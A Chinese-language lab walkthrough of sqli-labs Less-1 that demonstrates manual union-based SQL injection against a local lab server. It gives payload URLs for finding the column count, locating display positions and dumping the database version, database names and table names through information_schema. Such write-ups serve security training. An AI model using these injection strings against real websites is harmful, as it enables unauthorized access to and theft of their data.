sql-lib注入天书-Less-1
1.尝试报错我们在1之后加上‘,根据反馈信息1’后面多了一个‘所以我们想办法闭合用 'or 1=1 --+。
2.接下来我们进行Order by 对前面的数据进行排序(http://192.168.83.129/sqli-labs-master/Less-1/?id=1’ order by 3 --+),我们用order by 3 --+发现数据回显正常,但是我们发现用order by 4 --+数据回显不正常。 因此数据有三列。然后我们用使用union select 1,2,3联合查询语句查看页面是否有显示位。
****** ## 在这里我们补充一下:
1)什么是显示位:
我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息
2)关于union查询:
使用union联合查询的前提是必须要有显示位,union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同。当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返
回了我们构造的 union 的数据。
3)关于MySQL的语法问题(""):
http://192.168.83.129/sqli-labs-master/Less-1/?id=1’ or 1=1 --+ 我们在尝试这条语句之后发现页面能正常显示,那么我们在尝试这条语句之后是也能正常显示?http://192.168.83.129/sqli-labs-master/Less-1/?id=1’’ 答案是肯定的,注意我们发现在1之后多了两个’’,呢么我们就来补充一下:
我们在原来的基础上再继续输入多一个引号,也就是“1’’”。
这时候我们看一下查询语句
select firstname,surname from users where id = ‘1’’’;
这时候得讲一个mysql的语法,
在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。
我们来看几个例子。
第一个是和我们上面类似的sql查询语句
select * from users where user_id = '1''';
第二个是来阐明我们这个优先级的,
select * from users where user_id = '1''2';
可以看到,出来的结果还是和user_id=1一样。
我们再看一个长长的,
select * from users where user_id = '1''2''abc''efg';
事实胜于雄辩,可以看到结果还是和上面的一样。也就是说‘’‘等价于 ’ or 1=1 --+
3.查出了显示位之后,我们也进行了查看列数,可知道当前数据库有三列。因此我们可以利用回显查看数据版本,数据名称等等。注意我们再利用联合查询之后,1是不能回显的只能回显2,3.所以 http://192.168.83.129/sqli-labs-master/Less-1/?id=-1‘union select database(),version(),3–+ 是不正确的.所以我们利用http://192.168.83.129/sqli-labs-master/Less-1/?id=-1%27%20%20union%20select%201,version(),database()–+ 爆出数据版本,当前数据库名称。4.接下来爆出数据库
192.168.83.129/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+
****** ## 在这里我们看一下两种爆数据库的区别:
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()--+ 与
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+ 第一这是爆出当前的数据库,而第二个爆出的是所有的数据库。在使用了GROUP_CONCAT后,会将所有的数据合并在一起,limit是没有任何效果的。我们查看第一次报错:
可以看出在查询语句中出现了limit限制,因此我们在第二种语句爆出数据库的时候并不会爆出所有的数据库,所以我们用group_concat…
5.接下来我们爆出表名字:
http://192.168.83.129/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
7.爆出字段至此,渗透结束。